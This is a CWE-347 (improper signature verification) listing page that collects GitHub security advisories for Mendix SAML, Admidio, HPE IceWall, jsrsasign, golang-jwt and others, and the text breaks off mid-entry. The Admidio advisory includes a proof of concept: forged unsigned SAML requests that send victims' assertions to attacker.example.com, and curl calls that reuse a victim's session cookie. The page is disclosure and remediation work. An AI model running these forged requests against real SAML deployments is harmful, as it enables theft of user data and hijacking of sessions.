Common Weakness Enumeration
CWE-347
AllowedImproper Verification of Cryptographic Signature
Abstraction: Base · Status: Draft
The product does not verify, or incorrectly verifies, the cryptographic signature for data.
1334 vulnerabilities reference this CWE, most recent first.
GHSA-249P-R5W7-W969
Vulnerability from github – Published: 2026-09-03 15:32 – Updated: 2026-09-03 15:32
VLAI
Details
A vulnerability has been identified in Mendix SAML (Mendix 10 compatible) (All versions < V4.2.3), Mendix SAML (Mendix 11 compatible) (All versions < V4.2.3), Mendix SAML (Mendix 9.24 compatible) (All versions < V3.6.27). Affected versions of the module do not properly validate the SAML response signature. This could allow unauthenticated remote attackers to hijack an account (session) in specific SSO configurations.
Severity
{
"affected": [],
"aliases": [
"CVE-2026-80465"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-03T13:06:10Z",
"severity": "HIGH"
},
"details": "A vulnerability has been identified in Mendix SAML (Mendix 10 compatible) (All versions \u003c V4.2.3), Mendix SAML (Mendix 11 compatible) (All versions \u003c V4.2.3), Mendix SAML (Mendix 9.24 compatible) (All versions \u003c V3.6.27). Affected versions of the module do not properly validate the SAML response signature. This could allow unauthenticated remote attackers to hijack an account (session) in specific SSO configurations.",
"id": "GHSA-249p-r5w7-w969",
"modified": "2026-09-03T15:32:13Z",
"published": "2026-09-03T15:32:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-80465"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-887643.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-25CW-98HG-G3CG
Vulnerability from github – Published: 2026-04-29 21:56 – Updated: 2026-05-08 20:14
VLAI
Summary
Admidio Ignores SAML Signature Validation Result, Processes Forged AuthnRequests and LogoutRequests
Details
Summary
The Admidio SAML Identity Provider implementation discards the return value of its validateSignature() method at both call sites (handleSSORequest() line 418 and handleSLORequest() line 613). The method returns error strings on failure rather than throwing exceptions, but the developer believed it would throw (per comments on lines 416 and 611). This means the smc_require_auth_signed configuration option is completely ineffective — unsigned or invalidly-signed SAML AuthnRequests and LogoutRequests are processed identically to properly signed ones.
Details
The validateSignature() method at src/SSO/Service/SAMLService.php:355 has three possible return paths:
// Line 355-392
public function validateSignature(SAMLClient $client, SamlMessage $message, bool $required = false): bool|string {
global $gL10n;
$certPem = $client->getValue('smc_x509_certificate');
if (!$certPem) {
if ($required) {
return $gL10n->get('SYS_SSO_SAML_SIGNATURE_KEY_MISSING'); // Returns STRING, not throw
} else {
return false;
}
}
// ...
$signatureReader = $message->getSignature();
if (is_null($signatureReader)) {
if ($required) {
return $gL10n->get('SYS_SSO_SAML_SIGNATURE_MISSING'); // Returns STRING, not throw
} else {
return false;
}
}
try {
$ok = $signatureReader->validate($key);
if ($ok) {
return true;
} else {
return $gL10n->get('SYS_SSO_SAML_SIGNATURE_FAILED'); // Returns STRING, not throw
}
} catch (Exception $ex) {
return $gL10n->get('SYS_SSO_SAML_SIGNATURE_FAILED'); // Returns STRING, not throw
}
}
Both call sites discard the return value entirely:
// Line 416-419 in handleSSORequest()
// Validate signatures. Will throw an exception <-- INCORRECT COMMENT
if ($client->getValue('smc_require_auth_signed') || $client->getValue('smc_validate_signatures')) {
$this->validateSignature($client, $request, $client->getValue('smc_require_auth_signed'));
// Return value discarded — execution continues regardless of validation result
}
// Line 611-614 in handleSLORequest()
// Validate signatures. Will throw an exception <-- INCORRECT COMMENT
if ($client->getValue('smc_require_auth_signed') || $client->getValue('smc_validate_signatures')) {
$this->validateSignature($client, $request, $client->getValue('smc_require_auth_signed'));
// Return value discarded — execution continues regardless of validation result
}
SSO exploitation path (for already-logged-in users):
1. modules/sso/index.php:92 routes to handleSSORequest()
2. Line 403: receiveMessage() parses SAML binding directly from HTTP GET/POST — no authentication required
3. Line 408-409: Entity ID extracted from the forged request's Issuer element, client config loaded
4. Line 417-419: Signature validation called but return value discarded — flow continues
5. Line 421: $gValidLogin is true for logged-in users, so login form is skipped
6. Lines 438-580: SAML Response built with user's real attributes (login, name, email, roles) and sent to the AssertionConsumerServiceURL from the forged request
SLO exploitation path:
1. modules/sso/index.php:94 routes to handleSLORequest()
2. Line 613: Signature validation discarded
3. Lines 621-629: User's session is deleted from the database and $gCurrentSession->logout() is called
PoC
# Prerequisites:
# - Admidio instance with SAML SSO enabled (sso_saml_enabled=1)
# - At least one registered SAML SP client with smc_require_auth_signed=true
# - A user with an active session (e.g., admin browsing the Admidio panel)
# 1. Generate an unsigned AuthnRequest impersonating a registered SP:
AUTHN_REQUEST=$(python3 -c "
import base64, zlib
req = '<samlp:AuthnRequest xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\" xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"_fake123\" Version=\"2.0\" IssueInstant=\"2026-03-27T00:00:00Z\" AssertionConsumerServiceURL=\"https://attacker.example.com/acs\"><saml:Issuer>https://legitimate-sp.example.com/entity-id</saml:Issuer></samlp:AuthnRequest>'
print(base64.b64encode(zlib.compress(req.encode())[2:-4]).decode())
")
# 2. Send the unsigned request via HTTP-Redirect binding (GET):
# If a logged-in user's browser follows this link (e.g., via CSRF/social engineering),
# Admidio generates a signed SAML assertion with the user's PII and sends it
# to the attacker-controlled ACS URL.
curl -v "https://admidio.example.org/adm_program/modules/sso/index.php/saml/sso?SAMLRequest=${AUTHN_REQUEST}" \
-b 'PHPSESSID=VICTIM_SESSION_COOKIE'
# Expected: Despite smc_require_auth_signed=true, the unsigned request is processed.
# The response contains a SAML assertion with the victim's attributes.
# 3. For SLO — forge a LogoutRequest to terminate a victim's session:
LOGOUT_REQUEST=$(python3 -c "
import base64, zlib
req = '<samlp:LogoutRequest xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\" xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"_fake456\" Version=\"2.0\" IssueInstant=\"2026-03-27T00:00:00Z\"><saml:Issuer>https://legitimate-sp.example.com/entity-id</saml:Issuer><saml:NameID>victim@example.com</saml:NameID></samlp:LogoutRequest>'
print(base64.b64encode(zlib.compress(req.encode())[2:-4]).decode())
")
curl -v "https://admidio.example.org/adm_program/modules/sso/index.php/saml/slo?SAMLRequest=${LOGOUT_REQUEST}" \
-b 'PHPSESSID=VICTIM_SESSION_COOKIE'
# Expected: Victim's session is terminated, logout cascaded to all registered SPs.
Impact
- Signature enforcement bypass: The
smc_require_auth_signedsetting is entirely ineffective. Administrators who enable this setting believing it protects against forged requests have a false sense of security. - User attribute disclosure (SSO): When combined with the ability to specify an arbitrary
AssertionConsumerServiceURL, an attacker can redirect a logged-in user's SAML assertion (containing login name, email, real name, role memberships) to an attacker-controlled endpoint. - Session termination (SLO): An attacker can forge LogoutRequests to terminate any user's Admidio session and trigger cascading single logout across all registered Service Providers, causing denial of service for targeted users.
- Amplifies ACS URL injection: The signature requirement was the primary defense against unvalidated ACS URLs in AuthnRequests. Without signature enforcement, the ACS redirect becomes trivially exploitable via GET redirect binding (which bypasses SameSite=Lax cookie restrictions).
Recommended Fix
Check the return value of validateSignature() and throw on failure. In src/SSO/Service/SAMLService.php, fix both call sites:
// In handleSSORequest(), replace lines 416-419:
// Validate signatures
if ($client->getValue('smc_require_auth_signed') || $client->getValue('smc_validate_signatures')) {
$result = $this->validateSignature($client, $request, (bool)$client->getValue('smc_require_auth_signed'));
if ($result !== true && $result !== false) {
// $result is an error message string — validation failed
throw new Exception($result);
}
}
// In handleSLORequest(), replace lines 611-614 with the same pattern:
if ($client->getValue('smc_require_auth_signed') || $client->getValue('smc_validate_signatures')) {
$result = $this->validateSignature($client, $request, (bool)$client->getValue('smc_require_auth_signed'));
if ($result !== true && $result !== false) {
throw new Exception($result);
}
}
Alternatively, refactor validateSignature() to throw exceptions on failure (matching the developer's original intent as documented in the comments), which would make both call sites correct as-is:
public function validateSignature(SAMLClient $client, SamlMessage $message, bool $required = false): bool {
global $gL10n;
$certPem = $client->getValue('smc_x509_certificate');
if (!$certPem) {
if ($required) {
throw new Exception($gL10n->get('SYS_SSO_SAML_SIGNATURE_KEY_MISSING'));
}
return false;
}
// ... (same cert loading logic) ...
$signatureReader = $message->getSignature();
if (is_null($signatureReader)) {
if ($required) {
throw new Exception($gL10n->get('SYS_SSO_SAML_SIGNATURE_MISSING'));
}
return false;
}
try {
if (!$signatureReader->validate($key)) {
throw new Exception($gL10n->get('SYS_SSO_SAML_SIGNATURE_FAILED'));
}
return true;
} catch (Exception $ex) {
throw new Exception($gL10n->get('SYS_SSO_SAML_SIGNATURE_FAILED'));
}
}
Severity
8.2 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.0.8"
},
"package": {
"ecosystem": "Packagist",
"name": "admidio/admidio"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.0.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41669"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-29T21:56:13Z",
"nvd_published_at": "2026-05-07T04:16:30Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe Admidio SAML Identity Provider implementation discards the return value of its `validateSignature()` method at both call sites (`handleSSORequest()` line 418 and `handleSLORequest()` line 613). The method returns error strings on failure rather than throwing exceptions, but the developer believed it would throw (per comments on lines 416 and 611). This means the `smc_require_auth_signed` configuration option is completely ineffective \u2014 unsigned or invalidly-signed SAML AuthnRequests and LogoutRequests are processed identically to properly signed ones.\n\n## Details\n\nThe `validateSignature()` method at `src/SSO/Service/SAMLService.php:355` has three possible return paths:\n\n```php\n// Line 355-392\npublic function validateSignature(SAMLClient $client, SamlMessage $message, bool $required = false): bool|string {\n global $gL10n;\n $certPem = $client-\u003egetValue(\u0027smc_x509_certificate\u0027);\n if (!$certPem) {\n if ($required) {\n return $gL10n-\u003eget(\u0027SYS_SSO_SAML_SIGNATURE_KEY_MISSING\u0027); // Returns STRING, not throw\n } else {\n return false;\n }\n }\n // ...\n $signatureReader = $message-\u003egetSignature();\n if (is_null($signatureReader)) {\n if ($required) {\n return $gL10n-\u003eget(\u0027SYS_SSO_SAML_SIGNATURE_MISSING\u0027); // Returns STRING, not throw\n } else {\n return false;\n }\n }\n try {\n $ok = $signatureReader-\u003evalidate($key);\n if ($ok) {\n return true;\n } else {\n return $gL10n-\u003eget(\u0027SYS_SSO_SAML_SIGNATURE_FAILED\u0027); // Returns STRING, not throw\n }\n } catch (Exception $ex) {\n return $gL10n-\u003eget(\u0027SYS_SSO_SAML_SIGNATURE_FAILED\u0027); // Returns STRING, not throw\n }\n}\n```\n\nBoth call sites discard the return value entirely:\n\n```php\n// Line 416-419 in handleSSORequest()\n// Validate signatures. Will throw an exception \u003c-- INCORRECT COMMENT\nif ($client-\u003egetValue(\u0027smc_require_auth_signed\u0027) || $client-\u003egetValue(\u0027smc_validate_signatures\u0027)) {\n $this-\u003evalidateSignature($client, $request, $client-\u003egetValue(\u0027smc_require_auth_signed\u0027));\n // Return value discarded \u2014 execution continues regardless of validation result\n}\n\n// Line 611-614 in handleSLORequest()\n// Validate signatures. Will throw an exception \u003c-- INCORRECT COMMENT\nif ($client-\u003egetValue(\u0027smc_require_auth_signed\u0027) || $client-\u003egetValue(\u0027smc_validate_signatures\u0027)) {\n $this-\u003evalidateSignature($client, $request, $client-\u003egetValue(\u0027smc_require_auth_signed\u0027));\n // Return value discarded \u2014 execution continues regardless of validation result\n}\n```\n\n**SSO exploitation path** (for already-logged-in users):\n1. `modules/sso/index.php:92` routes to `handleSSORequest()`\n2. Line 403: `receiveMessage()` parses SAML binding directly from HTTP GET/POST \u2014 no authentication required\n3. Line 408-409: Entity ID extracted from the forged request\u0027s Issuer element, client config loaded\n4. Line 417-419: Signature validation called but return value discarded \u2014 flow continues\n5. Line 421: `$gValidLogin` is true for logged-in users, so login form is skipped\n6. Lines 438-580: SAML Response built with user\u0027s real attributes (login, name, email, roles) and sent to the `AssertionConsumerServiceURL` from the forged request\n\n**SLO exploitation path**:\n1. `modules/sso/index.php:94` routes to `handleSLORequest()`\n2. Line 613: Signature validation discarded\n3. Lines 621-629: User\u0027s session is deleted from the database and `$gCurrentSession-\u003elogout()` is called\n\n## PoC\n\n```bash\n# Prerequisites:\n# - Admidio instance with SAML SSO enabled (sso_saml_enabled=1)\n# - At least one registered SAML SP client with smc_require_auth_signed=true\n# - A user with an active session (e.g., admin browsing the Admidio panel)\n\n# 1. Generate an unsigned AuthnRequest impersonating a registered SP:\nAUTHN_REQUEST=$(python3 -c \"\nimport base64, zlib\nreq = \u0027\u003csamlp:AuthnRequest xmlns:samlp=\\\"urn:oasis:names:tc:SAML:2.0:protocol\\\" xmlns:saml=\\\"urn:oasis:names:tc:SAML:2.0:assertion\\\" ID=\\\"_fake123\\\" Version=\\\"2.0\\\" IssueInstant=\\\"2026-03-27T00:00:00Z\\\" AssertionConsumerServiceURL=\\\"https://attacker.example.com/acs\\\"\u003e\u003csaml:Issuer\u003ehttps://legitimate-sp.example.com/entity-id\u003c/saml:Issuer\u003e\u003c/samlp:AuthnRequest\u003e\u0027\nprint(base64.b64encode(zlib.compress(req.encode())[2:-4]).decode())\n\")\n\n# 2. Send the unsigned request via HTTP-Redirect binding (GET):\n# If a logged-in user\u0027s browser follows this link (e.g., via CSRF/social engineering),\n# Admidio generates a signed SAML assertion with the user\u0027s PII and sends it\n# to the attacker-controlled ACS URL.\ncurl -v \"https://admidio.example.org/adm_program/modules/sso/index.php/saml/sso?SAMLRequest=${AUTHN_REQUEST}\" \\\n -b \u0027PHPSESSID=VICTIM_SESSION_COOKIE\u0027\n\n# Expected: Despite smc_require_auth_signed=true, the unsigned request is processed.\n# The response contains a SAML assertion with the victim\u0027s attributes.\n\n# 3. For SLO \u2014 forge a LogoutRequest to terminate a victim\u0027s session:\nLOGOUT_REQUEST=$(python3 -c \"\nimport base64, zlib\nreq = \u0027\u003csamlp:LogoutRequest xmlns:samlp=\\\"urn:oasis:names:tc:SAML:2.0:protocol\\\" xmlns:saml=\\\"urn:oasis:names:tc:SAML:2.0:assertion\\\" ID=\\\"_fake456\\\" Version=\\\"2.0\\\" IssueInstant=\\\"2026-03-27T00:00:00Z\\\"\u003e\u003csaml:Issuer\u003ehttps://legitimate-sp.example.com/entity-id\u003c/saml:Issuer\u003e\u003csaml:NameID\u003evictim@example.com\u003c/saml:NameID\u003e\u003c/samlp:LogoutRequest\u003e\u0027\nprint(base64.b64encode(zlib.compress(req.encode())[2:-4]).decode())\n\")\n\ncurl -v \"https://admidio.example.org/adm_program/modules/sso/index.php/saml/slo?SAMLRequest=${LOGOUT_REQUEST}\" \\\n -b \u0027PHPSESSID=VICTIM_SESSION_COOKIE\u0027\n\n# Expected: Victim\u0027s session is terminated, logout cascaded to all registered SPs.\n```\n\n## Impact\n\n- **Signature enforcement bypass**: The `smc_require_auth_signed` setting is entirely ineffective. Administrators who enable this setting believing it protects against forged requests have a false sense of security.\n- **User attribute disclosure (SSO)**: When combined with the ability to specify an arbitrary `AssertionConsumerServiceURL`, an attacker can redirect a logged-in user\u0027s SAML assertion (containing login name, email, real name, role memberships) to an attacker-controlled endpoint.\n- **Session termination (SLO)**: An attacker can forge LogoutRequests to terminate any user\u0027s Admidio session and trigger cascading single logout across all registered Service Providers, causing denial of service for targeted users.\n- **Amplifies ACS URL injection**: The signature requirement was the primary defense against unvalidated ACS URLs in AuthnRequests. Without signature enforcement, the ACS redirect becomes trivially exploitable via GET redirect binding (which bypasses SameSite=Lax cookie restrictions).\n\n## Recommended Fix\n\nCheck the return value of `validateSignature()` and throw on failure. In `src/SSO/Service/SAMLService.php`, fix both call sites:\n\n```php\n// In handleSSORequest(), replace lines 416-419:\n// Validate signatures\nif ($client-\u003egetValue(\u0027smc_require_auth_signed\u0027) || $client-\u003egetValue(\u0027smc_validate_signatures\u0027)) {\n $result = $this-\u003evalidateSignature($client, $request, (bool)$client-\u003egetValue(\u0027smc_require_auth_signed\u0027));\n if ($result !== true \u0026\u0026 $result !== false) {\n // $result is an error message string \u2014 validation failed\n throw new Exception($result);\n }\n}\n\n// In handleSLORequest(), replace lines 611-614 with the same pattern:\nif ($client-\u003egetValue(\u0027smc_require_auth_signed\u0027) || $client-\u003egetValue(\u0027smc_validate_signatures\u0027)) {\n $result = $this-\u003evalidateSignature($client, $request, (bool)$client-\u003egetValue(\u0027smc_require_auth_signed\u0027));\n if ($result !== true \u0026\u0026 $result !== false) {\n throw new Exception($result);\n }\n}\n```\n\nAlternatively, refactor `validateSignature()` to throw exceptions on failure (matching the developer\u0027s original intent as documented in the comments), which would make both call sites correct as-is:\n\n```php\npublic function validateSignature(SAMLClient $client, SamlMessage $message, bool $required = false): bool {\n global $gL10n;\n $certPem = $client-\u003egetValue(\u0027smc_x509_certificate\u0027);\n if (!$certPem) {\n if ($required) {\n throw new Exception($gL10n-\u003eget(\u0027SYS_SSO_SAML_SIGNATURE_KEY_MISSING\u0027));\n }\n return false;\n }\n // ... (same cert loading logic) ...\n $signatureReader = $message-\u003egetSignature();\n if (is_null($signatureReader)) {\n if ($required) {\n throw new Exception($gL10n-\u003eget(\u0027SYS_SSO_SAML_SIGNATURE_MISSING\u0027));\n }\n return false;\n }\n try {\n if (!$signatureReader-\u003evalidate($key)) {\n throw new Exception($gL10n-\u003eget(\u0027SYS_SSO_SAML_SIGNATURE_FAILED\u0027));\n }\n return true;\n } catch (Exception $ex) {\n throw new Exception($gL10n-\u003eget(\u0027SYS_SSO_SAML_SIGNATURE_FAILED\u0027));\n }\n}\n```",
"id": "GHSA-25cw-98hg-g3cg",
"modified": "2026-05-08T20:14:26Z",
"published": "2026-04-29T21:56:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Admidio/admidio/security/advisories/GHSA-25cw-98hg-g3cg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41669"
},
{
"type": "PACKAGE",
"url": "https://github.com/Admidio/admidio"
},
{
"type": "WEB",
"url": "https://github.com/Admidio/admidio/releases/tag/v5.0.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Admidio Ignores SAML Signature Validation Result, Processes Forged AuthnRequests and LogoutRequests"
}
GHSA-26FP-2965-3426
Vulnerability from github – Published: 2026-09-11 09:31 – Updated: 2026-09-11 09:31
VLAI
Details
A potential security vulnerability in HPE IceWall products could be exploited to tamper SAML response, allowing an attacker to impersonate another user.
Severity
8.8 (High)
{
"affected": [],
"aliases": [
"CVE-2026-73784"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-11T07:16:46Z",
"severity": "HIGH"
},
"details": "A potential security vulnerability in HPE IceWall products could be exploited to tamper SAML response, allowing an attacker to impersonate another user.",
"id": "GHSA-26fp-2965-3426",
"modified": "2026-09-11T09:31:22Z",
"published": "2026-09-11T09:31:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73784"
},
{
"type": "WEB",
"url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbmu05142en_us\u0026docLocale=en_US"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-27C7-FGF3-W57P
Vulnerability from github – Published: 2022-05-24 16:45 – Updated: 2024-04-04 00:39
VLAI
Details
A vulnerability in the Secure Configuration Validation functionality of Cisco FXOS Software and Cisco NX-OS Software could allow an authenticated, local attacker to run arbitrary commands at system boot time with the privileges of root. The vulnerability is due to a lack of proper validation of system files when the persistent configuration information is read from the file system. An attacker could exploit this vulnerability by authenticating to the device and overwriting the persistent configuration storage with malicious executable files. An exploit could allow the attacker to run arbitrary commands at system startup and those commands will run as the root user. The attacker must have valid administrative credentials for the device.
Severity
6.7 (Medium)
{
"affected": [],
"aliases": [
"CVE-2019-1728"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-05-15T17:29:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in the Secure Configuration Validation functionality of Cisco FXOS Software and Cisco NX-OS Software could allow an authenticated, local attacker to run arbitrary commands at system boot time with the privileges of root. The vulnerability is due to a lack of proper validation of system files when the persistent configuration information is read from the file system. An attacker could exploit this vulnerability by authenticating to the device and overwriting the persistent configuration storage with malicious executable files. An exploit could allow the attacker to run arbitrary commands at system startup and those commands will run as the root user. The attacker must have valid administrative credentials for the device.",
"id": "GHSA-27c7-fgf3-w57p",
"modified": "2024-04-04T00:39:36Z",
"published": "2022-05-24T16:45:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1728"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190515-nxos-conf-bypass"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/108391"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-27FJ-MC8W-J9WG
Vulnerability from github – Published: 2021-04-16 19:52 – Updated: 2023-09-11 18:42
VLAI
Summary
RSA signature validation vulnerability on maleable encoded message in jsrsasign
Details
Impact
Vulnerable jsrsasign will accept RSA signature with improper PKCS#1.5 padding.
Decoded RSA signature value consists following form:
01(ff...(8 or more ffs)...ff)00[ASN.1 OF DigestInfo]
Its byte length must be the same as RSA key length, however such checking was not sufficient.
To make crafted message for practical attack is very hard.
Patches
Users validating RSA signature should upgrade to 10.2.0 or later.
Workarounds
There is no workaround. Not to use RSA signature validation in jsrsasign.
ACKNOWLEDGEMENT
Thanks to Daniel Yahyazadeh @yahyazadeh for reporting and analyzing this vulnerability.
Severity
9.1 (Critical)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "jsrsasign"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "10.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-30246"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2021-04-13T17:30:34Z",
"nvd_published_at": "2021-04-07T21:15:00Z",
"severity": "CRITICAL"
},
"details": "### Impact\nVulnerable jsrsasign will accept RSA signature with improper PKCS#1.5 padding.\nDecoded RSA signature value consists following form:\n`01(ff...(8 or more ffs)...ff)00[ASN.1 OF DigestInfo]`\nIts byte length must be the same as RSA key length, however such checking was not sufficient.\n\nTo make crafted message for practical attack is very hard.\n\n### Patches\nUsers validating RSA signature should upgrade to 10.2.0 or later.\n\n### Workarounds\nThere is no workaround. Not to use RSA signature validation in jsrsasign.\n\n### ACKNOWLEDGEMENT\nThanks to Daniel Yahyazadeh @yahyazadeh for reporting and analyzing this vulnerability.",
"id": "GHSA-27fj-mc8w-j9wg",
"modified": "2023-09-11T18:42:06Z",
"published": "2021-04-16T19:52:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kjur/jsrsasign/security/advisories/GHSA-27fj-mc8w-j9wg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-30246"
},
{
"type": "WEB",
"url": "https://github.com/kjur/jsrsasign/issues/478"
},
{
"type": "WEB",
"url": "https://github.com/kjur/jsrsasign/releases/tag/10.1.13"
},
{
"type": "WEB",
"url": "https://kjur.github.io/jsrsasign"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "RSA signature validation vulnerability on maleable encoded message in jsrsasign"
}
GHSA-27H3-67H6-73P2
Vulnerability from github – Published: 2026-03-04 09:31 – Updated: 2026-03-05 15:30
VLAI
Details
SEPPmail Secure Email Gateway before version 15.0.1 does not properly communicate PGP signature verification results, leaving users unable to detect forged emails.
Severity
5.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2026-2746"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-04T09:15:57Z",
"severity": "MODERATE"
},
"details": "SEPPmail Secure Email Gateway before version 15.0.1 does not properly communicate PGP signature verification results, leaving users unable to detect forged emails.",
"id": "GHSA-27h3-67h6-73p2",
"modified": "2026-03-05T15:30:35Z",
"published": "2026-03-04T09:31:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2746"
},
{
"type": "WEB",
"url": "https://downloads.seppmail.com/extrelnotes/150/ERN15.0.html#seppmail-vulnerability-disclosure"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-285F-JC76-FCHH
Vulnerability from github – Published: 2022-05-14 03:24 – Updated: 2022-05-14 03:24
VLAI
Details
In Android before security patch level 2018-04-05 on Qualcomm Snapdragon Automobile, Snapdragon Mobile, and Snapdragon Wear MDM9206, MDM9607, MDM9650, MSM8909W, SD 210/SD 212/SD 205, SD 400, SD 410/12, SD 425, SD 430, SD 450, SD 615/16/SD 415, SD 617, SD 625, SD 650/52, SD 800, SD 808, SD 810, SD 820, SD 820A, SD 835, SD 845, SD 850, in some corner cases, ECDSA signature verification can fail.
Severity
9.8 (Critical)
{
"affected": [],
"aliases": [
"CVE-2017-18146"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-04-11T15:29:00Z",
"severity": "CRITICAL"
},
"details": "In Android before security patch level 2018-04-05 on Qualcomm Snapdragon Automobile, Snapdragon Mobile, and Snapdragon Wear MDM9206, MDM9607, MDM9650, MSM8909W, SD 210/SD 212/SD 205, SD 400, SD 410/12, SD 425, SD 430, SD 450, SD 615/16/SD 415, SD 617, SD 625, SD 650/52, SD 800, SD 808, SD 810, SD 820, SD 820A, SD 835, SD 845, SD 850, in some corner cases, ECDSA signature verification can fail.",
"id": "GHSA-285f-jc76-fchh",
"modified": "2022-05-14T03:24:10Z",
"published": "2022-05-14T03:24:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-18146"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2018-04-01"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/103671"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-29WX-VH33-7X7R
Vulnerability from github – Published: 2024-11-04 23:22 – Updated: 2024-11-12 21:32
VLAI
Summary
Bad documentation of error handling in ParseWithClaims can lead to potentially dangerous situations
Details
Summary
Unclear documentation of the error behavior in ParseWithClaims can lead to situation where users are potentially not checking errors in the way they should be. Especially, if a token is both expired and invalid, the errors returned by ParseWithClaims return both error codes. If users only check for the jwt.ErrTokenExpired using error.Is, they will ignore the embedded jwt.ErrTokenSignatureInvalid and thus potentially accept invalid tokens.
Fix
We have back-ported the error handling logic from the v5 branch to the v4 branch. In this logic, the ParseWithClaims function will immediately return in "dangerous" situations (e.g., an invalid signature), limiting the combined errors only to situations where the signature is valid, but further validation failed (e.g., if the signature is valid, but is expired AND has the wrong audience). This fix is part of the 4.5.1 release.
Workaround
We are aware that this changes the behaviour of an established function and is not 100 % backwards compatible, so updating to 4.5.1 might break your code. In case you cannot update to 4.5.0, please make sure that you are properly checking for all errors ("dangerous" ones first), so that you are not running in the case detailed above.
token, err := /* jwt.Parse or similar */
if token.Valid {
fmt.Println("You look nice today")
} else if errors.Is(err, jwt.ErrTokenMalformed) {
fmt.Println("That's not even a token")
} else if errors.Is(err, jwt.ErrTokenUnverifiable) {
fmt.Println("We could not verify this token")
} else if errors.Is(err, jwt.ErrTokenSignatureInvalid) {
fmt.Println("This token has an invalid signature")
} else if errors.Is(err, jwt.ErrTokenExpired) || errors.Is(err, jwt.ErrTokenNotValidYet) {
// Token is either expired or not active yet
fmt.Println("Timing is everything")
} else {
fmt.Println("Couldn't handle this token:", err)
}
Severity
{
"affected": [
{
"package": {
"ecosystem": "Go",
